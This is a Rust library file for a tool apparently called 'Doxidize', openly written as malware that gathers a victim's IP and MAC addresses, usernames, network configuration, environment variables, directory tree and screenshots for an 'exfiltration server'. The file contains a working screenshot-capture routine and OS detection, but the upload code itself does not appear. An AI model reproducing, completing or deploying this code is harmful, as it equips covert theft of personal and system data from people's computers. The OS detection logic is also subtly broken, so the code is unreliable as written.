oxy/
lib.rs

1#[cfg(test)]
2mod tests {
3    #[test]
4    fn it_works() {
5        assert_eq!(2 + 2, 4);
6    }
7}
8extern crate scrap;
9extern crate bincode;
10#[macro_use]
11extern crate serde_derive;
12extern crate serde;
13
14use scrap::{Capturer, Display, Frame};
15use std::io::ErrorKind::WouldBlock;
16use std::fs::File;
17use std::thread;
18use std::time::Duration;
19
20/// Doxidize constant variables
21pub mod consts {
22
23    /// Ip for Exflitration Server
24    pub const SERVER_IP: &str = "127.0.0.1";
25    /// Port for Exflitration Server
26    pub const SERVER_PORT: &str = "80";
27
28    /// Config option for screenshot
29    pub const SS: bool = true;
30
31    pub const DEBUG: bool = false;
32
33    pub const TREE: bool = false;
34
35    /// Config option for usernames
36    pub const USERNAMES: bool = false;
37
38
39}
40
41/// Doxidize type declarations
42pub mod types {
43
44    #[derive(Debug, Serialize, Deserialize)]
45    pub struct DoxxBuf {
46        pub doxx: Option<DoxxType>,
47        pub os: OsType
48    }
49
50    /// Windows Doxx Data
51    /// The function is only included in the build when compiling for Windows
52    #[derive(Debug, Serialize, Deserialize)]
53    pub struct WinDoxx {
54        /// Ip Address of victim.
55        pub ip_addr: String,
56        /// List of usernames on victims machine.
57        pub users: Vec<String>,
58        /// Mac Address of victim.
59        pub mac_addr: String,
60        /// Screenshot of victim's screens
61        pub screen: SS,
62        /// ifconfig dump
63        pub ipconfig: String,
64    }
65
66    impl WinDoxx {
67        /// Create a new WinDoxx
68        pub fn new() -> Self {
69            WinDoxx { ip_addr: "".to_string(), mac_addr: "".to_string(), users: vec!("".to_string()), screen: SS::new(), ipconfig: "".to_string()}
70        }
71    }
72
73    /// Linux Doxx Data
74    /// The function is only included in the build when compiling for Linux
75    #[derive(Debug, Serialize, Deserialize)]
76    pub struct GnuDoxx {
77        /// Screenshot of victim's screens
78        pub screen: SS,
79        /// Output of `uname -a` on linux
80        pub uname: String,
81        /// Ip Address of victim.
82        pub ip_addr: String,
83        /// List of usernames on victims machine.
84        pub users: Vec<String>,
85        /// Mac Address of victim.
86        pub mac_addr: String,
87        /// ifconfig dump
88        pub ifconfig: String,
89        /// Tree dump
90        pub tree: String,
91        /// Env Dump
92        pub env: String
93    }
94
95    impl GnuDoxx {
96        /// Create a new GnuDoxx
97        pub fn new() -> Self {
98            GnuDoxx { uname: "".to_string(), ip_addr: "".to_string(), mac_addr: "".to_string(), users: vec!("".to_string()), screen: SS::new(), tree: "".to_string(), ifconfig: "".to_string(), env: "".to_string()}
99        }
100    }
101
102    /// Mac Doxx Data
103    /// The function is only included in the build when compiling for macOS
104    #[derive(Debug, Serialize, Deserialize)]
105    pub struct MacDoxx {
106        /// Screenshot of victim's screens
107        pub screen: SS,
108        /// Ip Address of victim.
109        pub ip_addr: String,
110        /// List of usernames on victims machine.
111        pub users: Vec<String>,
112        /// Mac Address of victim.
113        pub mac_addr: String
114    }
115
116
117    /// Exlfitration Upload Data
118    /// Server Ip & Port, and Doxx Data of victim.
119    #[derive(Debug)]
120    pub struct ExflData {
121        /// Ip of Exlfitration server
122        pub server_ip: String,
123        /// Port of Exlfitration server
124        pub server_port: String,
125
126        pub doxx: Option<DoxxType>
127        // #[cfg(target_os = "windows")]
128        // pub doxx: WinDoxx,
129
130        // #[cfg(target_os = "macos")]
131        // pub doxx: MacDoxx,
132
133        // #[cfg(target_os = "linux")]
134        // pub doxx: GnuDoxx,
135
136    }
137
138    #[derive(Debug, Serialize, Deserialize)]
139    pub struct SS {
140        /// Screen height
141        pub h: usize,
142        /// Screen width
143        pub w: usize,
144        /// Screenshot data
145        pub data: Vec<u8>
146    }
147
148    impl SS {
149
150        pub fn new() -> Self {
151            SS { h: 0, w: 0, data: vec!(0u8) }
152        }
153    }
154
155
156    /// Supported OS Enum
157    #[derive(Debug, Serialize, Deserialize)]
158    pub enum OsType {
159        /// MacOS/OSX
160        Mac,
161        /// Windows 3.0-10
162        Windows,
163        /// Any linux based operating system (other than OSX)
164        Linux,
165        /// Unsupported OS (Exits without Doxidizing)
166        Other
167    }
168
169    #[derive(Debug, Serialize, Deserialize)]
170    pub enum DoxxType{
171        Mac(MacDoxx),
172        Windows(WinDoxx),
173        Linux(GnuDoxx)
174    }
175}
176
177/// Utility functions
178pub mod util {
179
180
181    use super::*;
182
183    /// For EXFL into u8
184    pub unsafe fn any_as_u8_slice<T: Sized>(p: &T) -> &[u8] {
185    ::std::slice::from_raw_parts(
186        (p as *const T) as *const u8,
187        ::std::mem::size_of::<T>(),
188    )
189    }
190
191    /// OS Detection
192    pub fn os_detect() -> types::OsType {
193
194        let os: types::OsType;
195
196        if cfg!(windows) {
197            os = types::OsType::Windows;
198        } else if cfg!(unix) {
199            os = types::OsType::Linux;
200        } else if cfg!(macos) {
201            os = types::OsType::Mac;
202        }
203        else {
204            os = types::OsType::Other;
205        }
206
207        return os;
208
209    }
210
211
212    /// Screenshotter using scrap
213    pub fn screenshot() -> types::SS {
214        let one_second = Duration::new(1, 0);
215        let one_frame = one_second / 60;
216
217        let display = Display::primary().expect("Couldn't find primary display.");
218        let mut capturer = Capturer::new(display).expect("Couldn't begin capture.");
219        let (w, h) = (capturer.width(), capturer.height());
220
221        loop {
222            // Wait until there's a frame.
223
224            let buffer = match capturer.frame() {
225                Ok(buffer) => buffer,
226                Err(error) => {
227                    if error.kind() == WouldBlock {
228                        // Keep spinning.
229                        thread::sleep(one_frame);
230                        continue;
231                    } else {
232                        panic!("Error: {}", error);
233                    }
234                }
235            };
236
237            let mut bitflipped = Vec::with_capacity(w * h * 4);
238            let stride = buffer.len() / h;
239
240            for y in 0..h {
241                for x in 0..w {
242                    let i = stride * y + 4 * x;
243                    bitflipped.extend_from_slice(&[
244                        buffer[i + 2],
245                        buffer[i + 1],
246                        buffer[i],
247                        255,
248                    ]);
249                }
250            }
251
252            return types::SS {
253              h: h, w: w, data: bitflipped
254            }
255        }
256
257
258    }
259}